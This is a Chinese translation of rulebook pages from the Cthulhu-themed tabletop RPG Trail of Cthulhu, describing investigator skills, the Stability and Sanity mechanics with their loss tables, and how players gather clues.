每个分配到语言的点数都代表你可以流利的使用非你母语的语言，你可以选择一个不再使用的古老语言，但是守秘人可能不允许某些神秘、原始或非人的语言像是Aklo(蛇语), Naccal(Mu语), Pnakotic A(伟大种族伊斯之语)。守秘人可以允许某些相关语言不需要额外的点数，例如一个调查员熟悉挪威语可以宣称他瑞典语也很流利(或是能沟通)。

你可以在一开始创造你的角色时就决定，也可以在剧情中再选择(你可以去阅读、说亚述语如果必要的话)，你不是自动的学会语言，而是你的角色尚未提及而已。

法律(学术)

你精通母国的民法和刑法和广泛熟悉国外的法律制度，如果法律技能的点数在2以上，你可以是一位有执照的律师。你可以：

评估接下来行动可能造成的法律风险
了解法律界的行话
寻问法律界同事或朋友的主张和建议
和警方与检察官争辩

文献查阅(学术)

你可以从书籍、纪录、档案、案卷、报社或一大堆未分类的电报和信件中搜寻资讯(只要你有权利看到这些资料)，你也可以从资料中判断是谁写这本书、哪些书籍是有收集价值、官方档案可能漏掉什么、哪些纪录似乎被窜改了等等。

开锁(技艺)

你可以不使用钥匙、不惊动警铃打开一道锁起来的门(你也可以找到一个方便撬开的门窗或可以强行进入的媒窖)，许多锁需要特别的工具，如果你没有开锁的执照而拥有这些工具，在大部分的法律系统中，你是违法的。

非常複杂棘手的锁必须要花费点数以更快打开、避免发出声响或之后重新上锁，换句话说，开锁是另一种搜寻线索的方法，一个打不开的锁就像一个不愿意透露讯息的目击者、或是你忽略掉的血迹。通常需要技能挑战的只有保险库、金库或是那些和剧情推进有关或是藏有秘密的锁，只有线索的锁通常不需要挑战。

医学(学术)

你分析人类疾病、伤害、毒药物和身体缺陷，也可能广泛的精通兽医，医学技能点数在2以上，你可以拥有医师执照，你可以：

诊断疾病、中毒或其他症状
为可治疗的病症开处方籤
接生
诊断一个无意识的人如何受伤和受伤的程度
检测一个人受身体虚弱所苦的原因，例如吸毒、怀孕或影养不良
订定一位普通人的健康水平
辨认是否违反医学常理
理解医学界的术语
寻问医学界同事或朋友的主张和建议

守秘人可以决定你能否更精进的研究医学，或是可以使用这个技能得到很初步的法医鑑定结果(凶器是钝器、死亡发生在一瞬间)。

神秘学(学术)

你精通从石器时代到现在的魔术、迷信和巫术历史，从宗教神智学到金色黎明的巫术。你知道日期、地点、争论和传奇，你可以：

检测一个发现的传统文化仪式造成的实质上余波以辨认
提供历史事实和各种关于神秘的传统、恶魔和传奇的轶闻
你可以从实质上的余波猜测一个仪式会造成的效应
鑑定、归类神秘活动像是那些有见识的从事者或无聊的刺激追求者的工作
假造一个算命仪式、降神会或其他神秘活动
阅读和掐算占星图
辨认神秘的器材、魔法书、标志、密码

这个技能不能让你使用魔法或是招换超自然的实体，即使剧本中承认非神话魔力的存在，你可以崇信或不相信神灵的存在，技能功用只是在某些场合中使用。根据剧本架构，有4点以上的神祕学代表你曾经看过类似"克苏鲁"或"忧戈‧索托斯"，但是没有克苏鲁神话点数，你只会当作是普通的琐事或是当他们是地区或古代巴比伦女神提马亚特的别名。

如果你同时有神祕学和克苏鲁神话，你可以辨认一个神祕仪式是否为神话仪式(即使无意或不知道)，这算使用神祕学而不会损失心智或坚毅。

口述采访(人际)

你可以找到知道事件的人并赢得他的信赖，获得事件经过的口述证词(通常很长)，通常是一些历史事件、地区传统、童话故事、家族传奇或小道消息，这是一个很好的方法在一个文盲或是半文盲的社会、乡下或小镇里能正常的沟通，这技能包含了能速记口述采访笔记或纪录时不要惊吓到你的目标。

户外活动者(技艺)

你很熟悉在野外中工作和生活，你可能是一个农夫、牛仔、伐木工或一个业余(或职业)的渔夫或猎人，你可能只是一个老鹰童军团或是在军中有足够在"国家中"巡逻的经验。你可以：

分辨一只动物是否行为怪异
辨认一只动物或一株植物是否为已知地点的原生种
寻找可食用的植物、猎物和鱼
在夜晚或是气候不佳时在野外生火、生活
能在陆路上导航，尽管有罗盘和地图会更加容易
追踪穿越草丛或森林的人、动物或载具
和狗一起狩猎，包含了和大猎犬一起追踪猎物(如果你有大猎犬的话)

药剂学(技艺)

你可以鑑定或是混合药物，你可以：

辨认药物和毒药，并理解它们的副作用或是禁忌
鑑定毒药并查明解药
可以得到或制造吗啡、古柯硷或其他管制药物

摄影(技艺)

你很擅长使用相机，包含拍摄电影和剧照，你可以：

在犯罪现场或是探险中记录有用的视觉资料
冲洗胶卷和底片，并找出被藏匿的线索
使用过滤镜和光线捕捉红外线或紫外线的影像
找出摄影照片或是负片是否有人工修改过的地方或是用相机作假
用双重曝光或其他方法使用相机作假
逼真的修改和操弄摄影图片

物理学(学术)

你研究宇宙的基本原理：压力、电磁、运动、重力、光学和辐射，你可以：

设计或改装可以测试、检测或操作物理学力或能量的实验装置
获得或操作昂贵或複杂的实验装置例如克鲁克斯管、盖格计数器或是磁强计
理解并运用複杂的数学，包含非欧几何
试图理解先进或外星科技

虽然物理学是必须的，但是通常制作一个实验装置是机械维修或是电器维修而非物理学。守秘人可以允许物理学学家调查员拆解一个伟大种族伊斯留下的闪电枪、制造死光等等。他们仍然必须使用机械维修或是电器维修来制作物品，不过某些物品可能必须有物理学当作基础才能制作。

安抚(人际)

你让人做你想要的事而感到轻鬆，这可能包含快速交谈、真诚的同情或只是个让人平静的存在，你可以：

获取讯息和信任
平抚别人的恐惧和惊慌
在危机中使大家保持冷静

底层社会(人际)

你知道如何和骗子、帮派、毒贩、妓女等地下社会的人打交道，你可以：

知晓道上的礼仪或规矩而可以避免衝突
辨认一个地区或人的危险性
找寻或使用地下管道——赃物商、黑市商人、毒贩、军火商等等
能够标价不合法的物品像是毒品、赃物或是近战武器
知晓犯罪手法和一个骗徒是否在骗你就如同察言观色
搜集地下谣言或情报

神学(学术)

你从各种各样的作法研究从古至今的人类信仰，你可以：

提供宗教习俗和信仰的资讯
从主要经文引述相关引语
理解许多圣人、神祇和其他宗教信仰形式的名称和性质
辨认一个宗教活动或仪式是正统还是异端
假造(或是在某些传统中主持)一个宗教仪式

这个技能不会让你能创造奇迹、驱魔、和神交流或其他需要使用超自然力量的行为，即使剧本承认非神话神祇或神明的存在。你可以信仰一个宗教，如果你同时有克苏鲁神话和神学你可以辨认一个神祕仪式是否为神话仪式(即使无意或不知道)，这算使用神学而不会损失心智或坚毅。有些问题或线索都属于神学和神祕学的范畴，或是两边之中的边界，举例来说：在1930年代当局认为巫术是属于神祕学(或人类学)、而开化蛮荒地区是属于神学，撒旦则是属于两者。守秘人可以决定要不要区分两者的差异，如果区分了，让某些部分是重複的可能是比较好的办法。

一般技能

运动

运动让你可以作普通的动作和英勇直前的行动，从奔跑跳跃到投掷爆破、逃脱掉落物等。任何不属于其他技能的肢体动作都属于运动。如果你的运动点数大于8，你的命中阈值(敌人要在战斗中击中你的数值)是4，否则击中门槛就是3。

藏匿

你可以藏匿东西不被找到，你掩饰、悄悄的放东西进入小隔板、建造秘密的隔间或甚至涂抹颜料改变一个东西的外观，这项技能也让你能找到那些意图被藏匿起来的东西。

伪装

这是改变一个人外表、动作、声音以不被认出的技能，伪装他人比只戴个帽子或是假鬍子複杂多了(这样的效果是短暂的)，因为动作和肢体语言永远是成功的伪装中最重要的部分，成功的扮演一个真的存在的人与别人交流是非常困难的，简短的语调模仿只需要对抗难度係数4，面对面的模仿要求每5分钟通过一个难度係数7的检定，伪装可以以双倍点数当成调查技能当你：

创造并维持一个不被怀疑的隐匿身分
冒充一个普通身分，像是保安或信差
简单的伪装自己，像是在电话中或前厅

驾驶

每个学过驾驶的人都可以不用此技能平常的驾驶汽车，换句话说，你是个有技巧的车手，能够驾驭最难搞的汽车、卡车或公共汽车，你可以：

甩开追踪或追逐某人
避免碰撞，或是在碰撞中减少伤害
现场修改载具
导航、阅读地图和保持方向感
进行紧急修复

每两点在驾驶上，你可以选择一种地面载具擅长，像是摩托车、运输卡车、火车、四轮马车或有轨电车，你也可以选择特殊的类别--坦克或小马车，虽然这些不太可能出现在普通的剧本中。像是语言、艺术和手艺一样，你可以在游戏中再决定那些"尚未分配"的点数，这些载具不会因为你花费了点数而不会驾驶。

电器维修

你很擅长建造、修复、操作和拆解从简单的警报系统到先进的无线电通讯设备(你也可以用电点枪械发动那些1920建造出来的汽车)，给予正确的零件，你可以用许多废料制作一些非法装置。电器维修可以以双倍点数当成调查技能当你：

评估一件物品的制作手艺水准
判断一个电器装置的功能
窃听电话和电报
录制高品质的录音记录在唱片、口述录音机或电报
解读摩斯密码
使用完善的电器装置搜集线索

爆破

你精通炸弹和地雷，你可以：

拆除炸弹和诡雷
相对安全的处理硝化甘油或是其他不稳定的危险物质
若有足够的时间，可以不损害内容物炸开保险箱或金库
混合爆裂物
安全的设置或引爆你的起爆装置或地雷
爆破可以以双倍点数当成调查技能当你：
重组解析爆炸的炸弹
从一个炸弹(无论是否爆炸)的制作方法和材质推测制作人的经历、背景、技艺

偷窃

你灵巧的手指使你能够不被发现的操弄小东西，你可以：

从不起疑的当局者眼下从犯罪现场放置或偷走线索
扒窃口袋中的东西
栽赃一件物品

枪械

你很擅长使用枪械，包含修复和鑑定它们，此技能还包含了弩等其他触发式的发射装置。你可以花费两点从远距离使用手枪或是使用来福枪(500码以上)，这个花费并不影响你的检定，只是让你有能够从远距离开枪的先决条件，如果你的枪械等级是5以上，你可以花费一点在一轮中使用双枪，如果你攻击两个不同的目标，一个目标的命中阈值加2(你选择)。

急救

你可以帮一个受伤或不适的人急救，详见伤害、急救和死亡。

逃脱

三十六计，走为上策，即使在通俗模式下，你的角色一样可以做得很好。像许多Lovercraft纤细、神经质的主角，随然你可能不擅长其他的身体活动，你一样可以跑得非常快，逃脱是独立的技能，当你要逃离某个地方的时候使用(而非运动)，但不会对追逐有帮助。如果你的逃脱等级比运动两倍大，你可以以一个购买点数买两点等级，换句话说，果你的运动是0，所有你的逃脱点数都是半价。

健康

健康是代表你能支撑受伤，抵抗疾病和毒素的指标，如果你在战斗中被打到，你的健康会下降，高点数的健康让你能在战斗中存活久一点，如果你的健康用尽了，你可能会昏倒、重伤或是被怪物吃掉，详见伤害、急救和死亡。

催眠

只有精神病学家、心理玄学家可以使用这个技能，而且通常是在通俗游戏中，这技能代表医学上的催眠而非超自然催眠术或卡利佳里博士的精神控制。你只能对自愿的个体使用催眠术，而且一次最多一个。使用催眠必须通过许多检定根据你要做的事决定难度：

初步催眠阶段：让一个病人进入催眠状态，你必须通过难度3，在这个状态下，他是冷静且平和的。
建立和谐的分析：只要你成功的催眠一个病人，你的催眠点数增加3用在将来的催眠(这3点只能用在这个病人身上)，你的催眠等级必须至少有3才能获得这个好处。
唤醒记忆：通过难度4，你可以唤醒病人不完整或掩藏的记忆像是梦境、精神创伤或对怪物朦胧的印象，唤醒那些让病人坚毅降低的经验将会再次影响他，虽然你可以做心理治疗来减轻病人的惊恐，守秘人可以提供错误的记忆如果他认为你在"控制目击者"。
催眠后暗示：解除状态后，你可以使你的病人不经思考做一些简单的动作，你可以提供一个"触发语"或是简单的时间(像是当你到家时，你会把书放在桌上)，暗示不能导致像咒语或是複杂的行为，病人也不会接受一个和他日常行为衝突的暗示，作一个暗示必须通过难度4或更高，守秘人可以依暗示决定是否提高难度。
减轻通苦：你可以减轻病人精神上的痛苦直到他再度受到精神创伤，你必须通过难度4或更高的检定，守秘人可以依病痛严重性增加难度，这不能在战斗中使用。
灌输记忆：你可以植入病人错误的记忆或埋藏记忆，在没有治疗帮助下是不符合道德的(像是减轻病人的梦魇)，你必须做一个催眠和病人坚毅的对抗，你的困难度是5，病人抗拒难度是4，一样，守秘人可以根据你要灌输的记忆增加你的难度，一个人如果遭受大强大的精神刺激(像是坚毅减少5)，他将会回想起记忆。

机械维修

你很擅长建造、修复、操作和拆解从普通的陷阱到複杂的机械或涡轮机(门栓、弹簧锁例外，这些东西被归类在开锁中)，给予正确的零件，你可以用许多废料制作一些非法装置或陷阱。机械维修可以以双倍点数当成调查技能当你：

评估一件物品的制作手艺水准
判断一个机械装置的功能
使用完善的机械装置搜集线索

每个机械维修的点数可以让你发动和操作一种重型机械，像是坦克、挖土机、起重机或蒸气机。你可以选择特别的机械如远洋客运引擎或重火炮，虽然这些不太可能出现在普通的剧本中。如同语言、艺术等，你可以在游戏中在选择，"突然间想起"你在夏威夷学过了(笑)。

导航等级1允许你选择普通船类或小飞机，接下来每两点你可以决定一个你擅长的空中或水上载具，像是滑翔机、飞船、多引擎飞机、快艇、多桅帆船。你也可以选择特别的项目像是齐柏林飞艇、潜艇和直升机，虽然这些不太可能出现在普通的剧本中。如同驾驶，你可以在游戏中在选择。

物品整备

你擅长预测哪些东西是调查需要并准备好，假设你有待著你的背包或工具箱，你可以拿出为了克服障碍队伍需要的工具，你做个简单的检定，如果通过，你拥有你要的工具，你不用在冒险之前说明就可以从背包中找出，明显对调查员有用的工具不需要此检定，包含了(但不只有)：笔记本或纸、书写工具和墨水、手电筒、蜡烛和火柴、有颜色的粉笔、小刀、放大镜、小镜子、绳子、三明治和白兰地。

其它技能的基本配备也包含在内，急救或医学会有急救包或药袋；摄影会有相机、底片和闪光灯；枪械可能让你有枪等等。物品整备技能不会涉入这些领域，它涵盖的是"普通"的调查工具、其他古怪的东西——电报密码、棒球、防毒面具等可能在故事中便于使用的东西。你能拿出的物品种类不是依据你等级的高低而是需要合理的叙述，如果守秘人认为你拥有这些东西相当荒唐、不合时宜或不合体裁，你毋须检定——因为你也不会有。任何使团队觉得可笑的物品都不应该出现，不适当的使用物品整备技能就像一个色情书刊的出现一样，你的守秘人将会做判断。

精神分析

你能提供安心感，减轻精神问题，你可能是一个佛洛伊德学派的精神病学家、牧师或神父、或只是个有同情心的人，你可以安抚惊慌的调查员，回复失去的坚毅和治疗一个长期累积的精神疾病(见恢复坚毅和回复技能点数)。

骑术

虽然骑一个驯服、走路没问题的马(在平坦的地上)或驴子骡子是很容易的，不过你是天生的骑手，你可以骑著桀傲不驯或勇猛的马或驴子奔驰过国境，你可以：

骑著座骑逃脱或追逐某人
照料、刷洗、钉马蹄铁和稳定的骑术
准备和使用骑马工具

每两点骑术可以选择一个额外的座骑，像是骆驼、水牛或大象，你不能选择神话坐骑像是夏塔克鸟。

心智

揭露克苏鲁神话的真实剥去了人类意义、和善人性、美丽的神祇的想法，粉碎人类核心的心灵并只剩下骇人的情景和赤裸残酷的虚无。你的心智等级代表你坚定信仰(那些人类重要的基本认知)的程度。

不像其他技能，你不会做任何花费心智的测试，只会因为外在的因素减少，如果你的心智减到0，你的信仰(代表你的灵魂)被完全的侵蚀而不能回复，在游戏中变成一位NPC并永远在精神病院中隔离，如果你很幸运或自愿成为那些古老伟大存在的僕人，心智为0是有可能的，而且一个认为自己是耶稣在世的狂乱疯子可以保留他心智的等级——如果他热切的渴望成为一个人类而不是和优格•索托斯的交流。

如果你有克苏鲁神话的点数，你的心智不能高于10减去克苏鲁神话的等级(如果你没有克苏鲁神话技能，你的心智没有上限，不过你会失去那些超过的点数一旦你取得克苏鲁神话知识)，一个长期、更好生存的游戏中，守秘人可以提高上限，同样的对于更短、更绝体绝命的游戏中，守秘人可以下降上限。

你会有4点免费的心智，你必须为你每3点拥有的心智决定一种信念，信念可以是具体事物也可以是抽象的概念，这些信念可能因为揭露克苏鲁神话的真实而被打击或摧毁，下面是一些信念的例子：

宗教信仰(可以是特殊的教派或是普通的行善)
人类尊严和价值
科学精神或知识的价值
物理学法则和科学真理
女神、美人或自然界中美的事物
人性本善
道德约束
审美观和对艺术的高原则
享乐主义
爱国心和国家荣誉
对故乡的爱

如你可以预期的，如果克苏鲁神话打击你的信念会让减少你额外的心智。

搏击

你善于徒手搏击，无论是杀、击倒、制止或挣脱你的敌人，你可以决定高等级的搏击是不是代表你有特殊的专长(像是拳击、摔跤或法式拳击)、长久练习打斗或只是一个有破坏性的右勾拳。金属棒、指套、棍棒或丢掷可握的东西(像是25分硬币或是先令)是属于搏击。

警觉

此技能让你能察觉(用五官)潜在的危险，举例来说，你可以：

听到身后深潜者跳入下水道的溅水声
看到一个飞过月亮的黑影
当Treaders of the Dust悄悄的靠近时闻到腐臭的杜松味
注意到被匆促藏在画架后面刚切开的人类骨头
在似乎废弃的修道院对驼背、恐怖的牧师感到不舒服

不像其他的检定，玩家在决定要花费多少点数前不会知道警觉的难度，玩家必须盲目的猜测他们该花多少，守秘人不会丢暗骰，所以即使一个失败的骰子也会让团体觉得哪里不对劲，只是不知道确切发生了什么事(就像是在恐怖片中阴森的音乐)，守秘人不应该要求使用这项技能来搜集情报，如果没有更合适的技能，预设为证据采集。警觉是对于一个场景行动后的结果，简单的说，在你被攻击时是否有看到东西就是警觉。

追踪

你很擅长不被发现存在的跟随嫌疑犯，你可以：

领导团队尾随在嫌疑犯一段短时间，良好的藏匿让目标不会发觉他被追踪
使用双筒或单筒望远镜在远距离盯梢某人
找到不易被发现的有利位置
在你的范围内找寻死角，使用它们摆脱追踪

坚毅

无论是凶猛的Shoggoth、一群食尸鬼，还是苏维埃秘密警察的酷刑者都会惊吓和打击你的心灵和神经系统，神话和非神话的威胁都有可能让调查员惊恐的大叫、接近精神分裂或疯狂。

你的坚毅等级代表你能抵抗精神创伤的程度，虽然揭露克苏鲁神话的真实可以伤害你的坚毅，在世界大战或深爱亲人痛苦的死亡都可能伤害你。换句话说，虽然失去心智会减少坚毅，但他们并不是直接相关的。一个心智0的哈斯塔信徒可能是一个语无伦次、野蛮的食人魔(合理的低坚毅)，也可能是一个精通事故、有钱的艺术批评家(可能有比调查员更高的坚毅)。

你有1点免费坚毅，每3点的坚毅你必须命名一位让你不被恐惧摧毁心灵，这些家人、朋友、同事提供你调查的动机，只要有名称和可辨认的语调就好，你并不能使用这些人，但是可以和你一起穿越街道、对抗恐惧。多数调查员拥有一样的支持成员是允许，但是有风险的，因为他们既是你的力量，也是弱点。一个邪徒可能意识到他们对你的重要性来摧毁你，他们可能让转化他们成为恶魔、支配他们或使他们遭受到可怕的酷刑折磨，一旦这些可怕的事情发生在他们身上，你不只要面对困难的坚毅检定，还可能永久的失去他们给你的支持(失去点数)，你的妻子、母亲或小孩不能再平抚你的精神如果你只能在隔离的精神病院中探望他们受创的身体。

潜行

你很擅长不被发现的移动(或是保持不动)，你可以：

安静的移动
躲藏在遮蔽物后
闪躲可见的安全警卫，无论是保安(常见)或是摄影机(少见)
躲在门窗后面偷听

当你要不被发现蹑手蹑脚的行动时使用潜行，如果你要躲离追捕者必须使用追踪(在空旷处可能是运动或逃脱)。

近战武器

你会使用手上近战武器像是刀、剑或鞭子。金属棒、指套、棍棒或丢掷可握的东西(像是25分硬币或是先令)是属于搏击。

坚毅、心智与疯狂

如同在技能列表所介绍的，坚毅与心智反映了两种不同但相关的特性。坚毅是心灵与情绪上，对抗各种创伤的抵抗力，包含自然的、人为的或是超自然的。可以将之想像为心灵和情绪上的生命点数。它可能会在一次冒险中快速的大量流失，但也会在剧情之间完全回复。最好将之理解为一种反映你角色心灵健康的短期指标。

心智是让你能够去相信、能够去畏惧或是能够去关怀我们的已知世界与人性的能力。诸如宗教、科学、家庭、自然之美、人性的良善或甚至是＂正常范畴内＂的邪恶。而在克苏鲁神话的世界里，恐怖的事实是：心智是一种衡量你如何相信安适的谎言的能力－－但那是让人类活得像个人类，而不成为旧日支配者玩物所必要的谎言。你的心智会在好几次冒险的诅咒下才缓慢的削弱，除非你目击了旧日支配者、失去信念或是遭遇了＂大揭秘＂(见心智损失)。你可能在一次冒险中只会失去一到两点的心智，也有可能完全不会损失。然而心智回复的速度也非常缓慢，在原旨游戏中，它完全不会回复。或许可以将之理解为一种长期指标，反映你有多接近这个宇宙的恐怖真实。

简单的说，坚毅衡量你今天有多接近崩溃，而心智反映了你离永远的看清真实还有多远。

坚毅

经验与坚毅

坚毅检定难度会依据调查员面对不稳定事件的态度来决定。如果一个调查员有合理的原因使他习于某种特定的场面，则他面对相关状况时的检定难度是3；相对的，那些特别敏感的调查员可能要面对难度5。例如一个受过治疗伤患训练的调查员，在看到被肢解的尸体时可能以较低的难度进行检定。一个士兵有较高的机会抵抗大规模战斗或是同伴的死亡所照成的意志影响。无论如何，没有任何角色类型在遭遇超自然生物时有类似的优势。

一个真正坚定的调查员可能能够习惯某些超自然生物的攻击，例如殭尸或是某些和食尸鬼、深潜者同级的低阶神话生物。一旦调查员在该怪物触发的坚毅检定中，通过等同于该怪物检定难度值的次数，则该怪物的意志检定难度值减1。无论如何，没有任何神话存在的检定难度值会小于2。

动机与坚毅

守秘人可能会告诉你，什么时候你的调查员动机将促使你去做某些不合理的危险行为。你并不是一定要照作，凭藉异常强大的坚毅，你可以控制自己的行为，但要付出代价。

有时守秘人会参考你的动机，用来推进剧情或是让你陷入危机，这种状况属于‘硬动机’。当你试图反抗硬动机时，你失去４点坚毅或是你总坚毅值的三分之一，看何者较高。在其他状况下，某些与故事主线不直接相关的状况也可能合理的触发你的自我毁灭倾向。这称为‘软动机’，反抗软动机会消耗２点坚毅。

当调查员遵从他的动机进行危险行为时，他获得坚毅奖励。依循硬动机将给予你两点坚毅，软动机则是１点，无论如何不能超过本来的坚毅上限。

逐渐衰弱

如同健康一样，你的坚毅点数可以降到低于０。

如果你的坚毅介于０到－５，你陷入颤慄：你依然可以继续你的工作，但看起来心烦意乱。你无法在任何调查员技能上消费点数，所有一般技能的难度值＋１。
如果你的坚毅介于－６到－１１，你的心灵崩溃：依据守秘人的决定，你罹患一个精神疾病，即使你的坚毅点数之后回复到常态，精神疾病依然不会消失。同时你将持续受到颤慄的影响。在任何你能察知的危险威胁下，你唯一能作的动作是恐慌的逃跑或是疯狂的攻击。你也可以选择作一些不那么起眼的动作：语无伦次的自言自语、反覆吟诵地铁车站的名字、在紧张时完全惊呆等等。最后，你的坚毅减少１，唯一的回复方式是用角色购筑点数将它买回来。
如果你的坚毅小于－１２，你陷入不可逆疯狂：你可以进行最后一个疯狂的行动，它可以是英雄般的自我毁灭、或是破坏性的自我毁灭。你也可以选择单纯的在精神病院度过余生。总之找个时间创个新角色吧。

坚毅损失

每当遭逢可能会让你损失坚毅的事件时，作一个难度为4的坚毅检定；就如同其他通常技能的检定一样，你可以花费坚毅点数来为检定提供加值。显而易见的，投入比你失败时可能失去数量还多的点数绝对不是划算的交易。必要时你可以支付点数到你的心智点数变成负数，但无论如何不能低于-11。

如果你失败，你将失去该检定要求你失去的坚毅点数，以及所有你在这个检定上花费掉的坚毅点数。

克苏鲁神话所造成的事件不同于通常的威胁，它们的心智检定难度至少加１。有许多神话存在也会造成比通常更高的坚毅流失。

坚毅损失表

事件	坚毅损失量
你看见一具新鲜尸体、你目击了杀人事件	1
一个人类对手带著造成严重伤害的意图攻击你	2
你在车上或是其他载具上遭遇足以造成伤害的事故	2
你体验了强烈的超自然知觉，例如既视现象、失落的时间或是幻觉	2
你目击了刑求拷问行为	2
一个人类对手带著杀意攻击你	2
你在战斗中杀了某人	3
你目击了特别血腥的意外或谋杀事件	3
你在远方看见一个超自然生物	3
你目击了一个明显非自然、但未必有威胁性的凶兆或魔法效应：<br/>一堵盖满恐怖昆虫的牆、一只会说话的猫或是流血的窗户等	3
你看见上百具尸体、你目击一场大规模战斗	4
你在近距离看到一个超自然生物	4
你被关禁闭了一週	4
你得知你的好友、爱人或是坚毅来源者被暴力杀害	4
你发现你的好友、爱人或是坚毅来源者的尸体	5
你被超自然生物攻击，或是被好友、爱人或是坚毅来源者攻击	5
你目击了明显超自然或是不可能的杀人事件	5
你目击了一个明显非自然、且有威胁性的凶兆或魔法效应：<br/>一只冰冷的手握住你的心脏、一大群蜜蜂从你的嘴里涌出等	5
你冷血的杀害某人、你刑求拷问某人	5
你看见你的好友、爱人或是坚毅来源者被杀	6
你被刑求一个小时以上	6
你发现自己其实有强烈的食人倾向	6
你被某种外在力量附身，而且在它支配你的身体时依然保有意识却无法呼救	7
你跟某个你知道他应该已经死了的人对话	7
你被某个特别巨大的超自然生物、或是一大群超自然生物攻击	7
你看见你的好友、爱人或是坚毅来源者在某种异常恐怖的、或是你完全无力避免的状况下被杀	8
你杀害了你的好友、爱人或是坚毅来源者	8

心智损失

你的心智在你直接面对克苏鲁神话、以及用你查访到的线索将真相拼凑起来的时候受到影响。你无法以任何检定来避免心智损失。

你的心智会因两种主要原因之一而受损：

一个神话震撼将你的坚毅降到０以下
你使用克苏鲁神话技能
被克苏鲁神话的神祉或巨人注视、或是少数特殊的魔法或神话因素也会消耗你的心智，但这是稀有的状况。这些状况都被包含在‘克苏鲁神话’的章节中。

信念受损

一个失去３点心智的调查员必须决定他所拥有的其中一个信念“崩坏”。玩家必须将他失去信仰的模样扮演出来。如果该信念与一个技能直接相关（如宗教信仰和神学、正统科学和地质学等），当调查员使用该技能时他可能啜泣、怒吼或同时啜泣和怒吼。

当调查员失去他最后一个信念，或是心智低于２以下，他将只剩下本能将他维繫在这个恐怖的世界上。所有坚毅检定的难度都加１。

心智损失与动机

如果一个调查员揭露的真实使他的动机失去意义，他将不再能因依循动机而获得坚毅奖励；然而依然会因反抗动机而失去坚毅。

避免心智损失

避免最严重的心智损失是可能的，无论是否认你看到的东西、或是在看到最恐怖的画面前就昏过去。

否认

依据守秘人的决定，某些心智损失可能只是暂时性的。如果在冒险结束的时候，你的恐怖经验没有留下任何证据（照片、录音、录影、古遗物等），你可以藉由否认实际发生过的事件，让你的心智回复一点。

守秘人可以要求你选择某些精神疾病（如妄想症、人格分裂或是选择性失忆），或是至少提供一个优秀的‘表面说词’来解释你所看到的事物。

一个心智降到０的调查员无法以这种方式回复心智。

昏迷

如果调查员愿意，他可以决定他昏死过去以避免完整体验克苏鲁神话经验。这么做的调查员将只失去一点心智，但无法在这个场景中继续任何演出。调查员无法用昏过去来降低施法时的心智花费。也无法用以减轻使用克苏鲁神话技能所失去的心智。

守秘人有权力剥光、绑架、伤害昏过去的调查员，或是发生任何无助昏倒的人可能遭遇的状况。

克苏鲁神话

神话震撼

每当你因为神话遭遇或攻击而陷入颤慄时（坚毅介于０到－５），你的心智－１。

一个神话遭遇或攻击让你陷入崩溃时（坚毅介于－６到－１１），你的心智－２。

在一次调查中，你只会受到一次这样的心智损害（取最严重的）。

使用克苏鲁神话技能

使用克苏鲁神话技能去“拼凑禁断的知识碎片”并且获得关于这次冒险的领悟，将同时造成坚毅与心智（如果探索出来的真相够恐怖）的损失。你无法以任何检定来避免这个损失。损失量并非依据你所消费的克苏鲁神话点数，而是依据你所揭露的真相本质。

如果玩家没有使用克苏鲁神话技能就拼凑出了恐怖的真相，守秘人不应该让他们因此失去心智——这是应该要奖励的优异表现。当然、这种状况下调查员依然可以主动要求承受心智损失。

任何因为使用克苏鲁神话技能而损失的心智无法以否认减轻——这些知识来自于内在，调查员就是知道它们是正确的。

克苏鲁神话意志与心智损失表

被揭露的真相	坚毅损失	心智损失
某些克苏鲁神话要素潜藏在这个神祕事件当中，然而这一切在时空上都还保持著足够的安全距离，不会造成你立刻的不安。	2	0
这个神话真实将为无辜者带来明显的危险、这个真实比你原先以为的影响力更深、更广、更远。	3	1
这个神话真实将为你或你所爱的人带来明显的危险、这个真实是全球性的或是划时代性的尺度。	4	1
这个神话真实瓦解了你的某个信念。	6	2
这个神话真实将会毁灭世界，或是正在无可避免的进行中、这个真实让你的角色动机失去意义甚至变成毁灭性的。	8	3

神话疯狂

如果造成你崩溃的事件是克苏鲁神话性质的，你将有很大的可能性因为相信的现实瓦解而面对严重的精神失调。守秘人从以精神疾病列表中掷骰或是选择一个跟触发事件相关的适当症状。

精神疾病列表

:: todo ::

线索

每次创造你的调查员时，守秘人的工作就是引导你进入整个恐怖神话的内部深处，每个克苏鲁踪迹剧本代表一个神祕事件伴随著令人恐惧的神话，某些可怕的事情可能会发生，通常是某些人或物品造成的，调查员必须找出那是什么？谁做的？如何阻止再度发生？

守秘人在游戏开始前就知道这些迷团，他必须引领其他玩家诉说这个故事，守秘人剧本笔记并不是一个故事，这个故事是发生在"你"的身上，你和你的队友透过调查员的动作使整个故事栩栩如生，整个故事是一个接一个的舞台，你从中寻找线索，将它们拼凑在一起，你的调查员和当地交流搜集物理学证据或是找寻专家或目击证人。

随著守秘人安排调查员经过一个一个的场景，你会遇到各式各样的角色(有时是可怕的怪物)，整个故事缓缓的揭开了。第一个场景代表你必须去解决的神祕事件，你可能会为情景震惊或只是听别人诉说实情，接著你就必须开始调查了：到图书馆查询资料、询问警方事件经过、收集地区传说或跟随著可疑的外来人，你的目标是搜集更多可以通往解答的线索，每个场景包含了点出新的场景的线索和一点一点的刻划恐惧，这些线索可能会为调查带来新的见解，就像是整个神祕事件是个快剥完皮的洋葱。

为了解决整个事件，你必须搜集线索，这些是你前进下去的动力，随著你收集线索，你渐渐能从这些聚集起来的线索中理解整个事件，接著解决它！调查员可能会遇到凶恶的信徒、疯狂的术士、奇怪的现象或外星人的存在，在克苏鲁踪迹中神祕事件的解决通常要面对一些怪异的恶魔，只要玩家知道这些恶魔潜伏在哪，他们可以让调查员去面对他们，接著就是挑战和危险的对抗了……

——调查场景并不只是发现线索，而是解释你发现的线索

搜集线索

搜集线索非常简单，你只要：

让你的调查员到可以发现线索的场景
有正确的技能发现线索
告诉守秘人你要使用它

只要你做了这三件事情，你永远不会漏失必要的线索，这并不根据骰子决定，如果你要求，你就可以得到线索。

你可以特别说你要做什么：“我要使用艺术史来辨认这个雕像是不是真正的旧米诺文明文物”，你可以对守秘人表达一个广泛的推测：“我使用口述采访找寻这个小镇里的传说”，你敏感的猜测这个小镇有古怪，但你不想要浪费时间在询问每个NPC并猜测守秘人到底藏匿了什么东西——你也不需要，在这个范例中，如果守秘人打算让一个爱管闲事的人而非一个醉汉提供线索，他可以改变消息的来源或是告诉你：“在你和老席拉斯谈话之前，一个蓝发人突然出现并驱赶他，幸运的是，他很热心的说出他邻居大概的家族史”。或是你可以更广泛搜集线索：“我使用证据采集来搜查后街”或“我使用化学来研究这颗陨石”

